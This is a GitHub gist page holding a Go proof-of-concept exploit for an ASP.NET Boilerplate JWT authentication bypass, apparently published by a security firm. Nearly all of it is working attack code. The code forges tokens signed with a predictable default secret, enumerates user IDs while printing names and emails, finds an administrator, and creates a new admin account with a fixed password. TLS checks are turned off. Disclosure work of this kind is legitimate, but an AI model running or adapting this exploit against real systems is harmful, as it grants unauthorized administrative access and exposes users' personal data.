Last active
August 26, 2022 07:54
-
-
Save bigshika/c577d58593dab01b69d1e5bbcee72a8e to your computer and use it in GitHub Desktop.
Proof of Concept code for ASP.Net Boilerplate JWT Authentication Bypass
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"bytes" | |
"crypto/tls" | |
"encoding/json" | |
"fmt" | |
"io/ioutil" | |
"log" | |
"net/http" | |
"os" | |
"strings" | |
"github.com/golang-jwt/jwt/v4" | |
) | |
var host = "localhost:44311" | |
// ProjectName is found in <title> or the copyright notice at the bottom of the page | |
// var projectName = "MyProject" | |
// build token | |
// call API endpoint until admin user is found | |
// use admin user token to create a new user with admin privileges | |
func main() { | |
fmt.Printf("Targeting: https://%s/\n", host) | |
projectName, err := getProjectName() | |
if err != nil || projectName == "" { | |
fmt.Println(projectName) | |
log.Fatal(err) | |
} | |
// iterates through all users to find an admin | |
var token string | |
var grantedPermissions map[string]string | |
userId := 1 // userId is enumerable for open source edition | |
fmt.Println("Checking for admin users...") | |
for { | |
fmt.Printf("Generating token for userid: %d\n", userId) | |
// Use weak secret to build a token for a user | |
token = buildToken(projectName, userId) | |
if exists, err := whoIsUser(token); !exists || err != nil { | |
userId++ | |
continue | |
} | |
grantedPermissions = getPermissions(token) | |
if len(grantedPermissions) == 0 { | |
fmt.Println("Nope") | |
} else { | |
if doesUserHavePermission(grantedPermissions, UsersPermission) { | |
fmt.Println("Admin found! Using this user to create new admin user...") | |
break // we found an admin! | |
} | |
} | |
userId++ | |
} | |
createNewAdminUser(token) // or whatever admin thing you want to do | |
} | |
func buildToken(projectName string, id int) string { | |
// Create a new token valid from 1/1/1970 and valid till INT_MAX | |
token := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{ | |
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": fmt.Sprint(id), | |
"jti": "03f1cb72-71fd-48e0-a3c1-64b8527cf7ef", // arbitrary guid | |
"iat": 0, | |
"nbf": 0, | |
"exp": 2147483647, | |
"iss": projectName, | |
"aud": projectName, | |
}) | |
// Sign and get the complete encoded token as a string using the secret | |
tokenString, err := token.SignedString([]byte(projectName + "_C421AAEE0D114E9C")) | |
if err != nil { | |
fmt.Println(err) | |
return "" | |
} | |
return tokenString | |
} | |
func makeGetRequest(endpoint, token string) ([]byte, error) { | |
requestURL := fmt.Sprintf("https://%s%s", host, endpoint) | |
http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true} | |
req, err := http.NewRequest(http.MethodGet, requestURL, nil) | |
if err != nil { | |
fmt.Printf("client: could not create request: %s\n", err) | |
return nil, err | |
} | |
if token != "" { | |
req.Header.Set("Authorization", fmt.Sprintf("Bearer %s", token)) | |
} | |
res, err := http.DefaultClient.Do(req) | |
if err != nil { | |
log.Println(err) | |
return nil, err | |
} | |
if res == nil { | |
fmt.Println("nope sorry") | |
return nil, err | |
} | |
defer res.Body.Close() | |
responseData, err := ioutil.ReadAll(res.Body) | |
if err != nil { | |
log.Println(err) | |
return nil, err | |
} | |
return responseData, nil | |
} | |
func makePostRequest(endpoint, token string, body []byte) ([]byte, error) { | |
requestURL := fmt.Sprintf("https://%s%s", host, endpoint) | |
http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true} | |
bodyReader := bytes.NewReader(body) | |
req, err := http.NewRequest(http.MethodPost, requestURL, bodyReader) | |
if err != nil { | |
fmt.Printf("client: could not create request: %s\n", err) | |
os.Exit(1) | |
} | |
req.Header.Set("Authorization", fmt.Sprintf("Bearer %s", token)) | |
req.Header.Set("Content-Type", "application/json") | |
res, err := http.DefaultClient.Do(req) | |
if err != nil { | |
log.Fatal(err) | |
return nil, err | |
} | |
defer res.Body.Close() | |
responseData, err := ioutil.ReadAll(res.Body) | |
if err != nil { | |
log.Fatal(err) | |
return nil, err | |
} | |
return responseData, nil | |
} | |
func getProjectName() (string, error) { | |
endpoint := "/AbpUserConfiguration/GetAll" | |
responseData, err := makeGetRequest(endpoint, "") | |
if err != nil { | |
fmt.Println(err) | |
return "", err | |
} | |
res := &Config{} | |
if err := json.Unmarshal(responseData, &res); err != nil { | |
fmt.Println("Marshalling error: " + err.Error()) | |
return "", err | |
} | |
for _, source := range res.Result.Localization.Sources { | |
if !strings.Contains(source.Name, "Abp") { | |
// admittedly this will fail if the projectname contains Abp | |
fmt.Printf("Project Name is: %s\n", source.Name) | |
return source.Name, nil | |
} | |
} | |
return "", nil | |
} | |
func whoIsUser(token string) (bool, error) { | |
endpoint := "/api/services/app/Session/GetCurrentLoginInformations" | |
responseData, err := makeGetRequest(endpoint, token) | |
if err != nil { | |
fmt.Println(err) | |
return false, err | |
} | |
session := &CurrentSession{} | |
if err := json.Unmarshal(responseData, session); err != nil { | |
fmt.Println(err) | |
return false, err | |
} | |
if session.Result.User.Id == 0 { | |
return false, nil | |
} | |
fmt.Printf("UserId: %d\n", session.Result.User.Id) | |
fmt.Printf("Username: %s\n", session.Result.User.Username) | |
fmt.Printf("User's full name: %s %s\n", session.Result.User.Name, session.Result.User.Surname) | |
fmt.Printf("User's Email: %s\n", session.Result.User.Email) | |
return true, nil | |
} | |
func getPermissions(token string) map[string]string { | |
endpoint := "/AbpUserConfiguration/GetAll" | |
responseData, err := makeGetRequest(endpoint, token) | |
if err != nil { | |
fmt.Println(err) | |
return nil | |
} | |
permissions := &Config{} | |
if err := json.Unmarshal(responseData, permissions); err != nil { | |
fmt.Println(err) | |
return nil | |
} | |
fmt.Printf("Permissions Granted to this User are: ") | |
for k, p := range permissions.Result.Permissions.GrantedPermissions { | |
fmt.Printf("%s:%s ", k, p) | |
} | |
fmt.Println() | |
return permissions.Result.Permissions.GrantedPermissions | |
} | |
func doesUserHavePermission(grantedPermissions map[string]string, permission string) bool { | |
for k := range grantedPermissions { | |
if k == permission { | |
return true | |
} | |
} | |
return false | |
} | |
func createNewAdminUser(token string) { | |
endpoint := "/api/services/app/User/Create" | |
body := map[string]interface{}{ | |
"userName": "ExampleAdmin", | |
"name": "Jason", | |
"surname": "Token", | |
"emailAddress": "user1@example.com", | |
"isActive": true, | |
"roleNames": []string{"ADMIN"}, | |
"password": "testTEST123", | |
} | |
bodyBytes, err := json.Marshal(body) | |
if err != nil { | |
fmt.Println("Error encoding JSON") | |
return | |
} | |
responseData, err := makePostRequest(endpoint, token, bodyBytes) | |
if err != nil { | |
fmt.Println(err) | |
return | |
} | |
var result map[string]interface{} | |
if err := json.Unmarshal(responseData, &result); err != nil { | |
fmt.Println("Marshalling error: " + err.Error()) | |
return | |
} | |
if result["success"].(bool) { | |
fmt.Println("New admin user successfully created!") | |
fmt.Printf("Log in with %s:%s\n", body["userName"], body["password"]) | |
} else { | |
fmt.Println("New admin user could not be created") | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module pulse-security/abp | |
go 1.18 | |
require github.com/golang-jwt/jwt/v4 v4.4.2 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
const ( | |
UsersPermission = "Pages.Users" | |
TenantsPermission = "Pages.Tenants" | |
RolesPermission = "Pages.Roles" | |
) | |
type Session struct { | |
UserId int `json:"userId"` | |
TenantId int `json:"tenantId"` | |
} | |
type Permissions struct { | |
AllPermissions map[string]string `json:"allPermissions"` | |
GrantedPermissions map[string]string `json:"grantedPermissions"` | |
} | |
type ConfigResult struct { | |
Session Session `json:"session"` | |
Permissions Permissions `json:"auth"` | |
Localization Localization `json:"localization"` | |
} | |
type Localization struct { | |
Sources []Source `json:"sources"` | |
} | |
type Config struct { | |
Result ConfigResult `json:"result"` | |
} | |
type CurrentSession struct { | |
Result CurrentSessionResult `json:"result"` | |
} | |
type CurrentSessionResult struct { | |
User User `json:"user"` | |
Tenant string `json:"tenant"` | |
} | |
type Source struct { | |
Name string `json:"name"` | |
Type string `json:"type"` | |
} | |
type User struct { | |
Name string `json:"name"` | |
Surname string `json:"surname"` | |
Username string `json:"userName"` | |
Email string `json:"emailAddress"` | |
Id int `json:"id"` | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment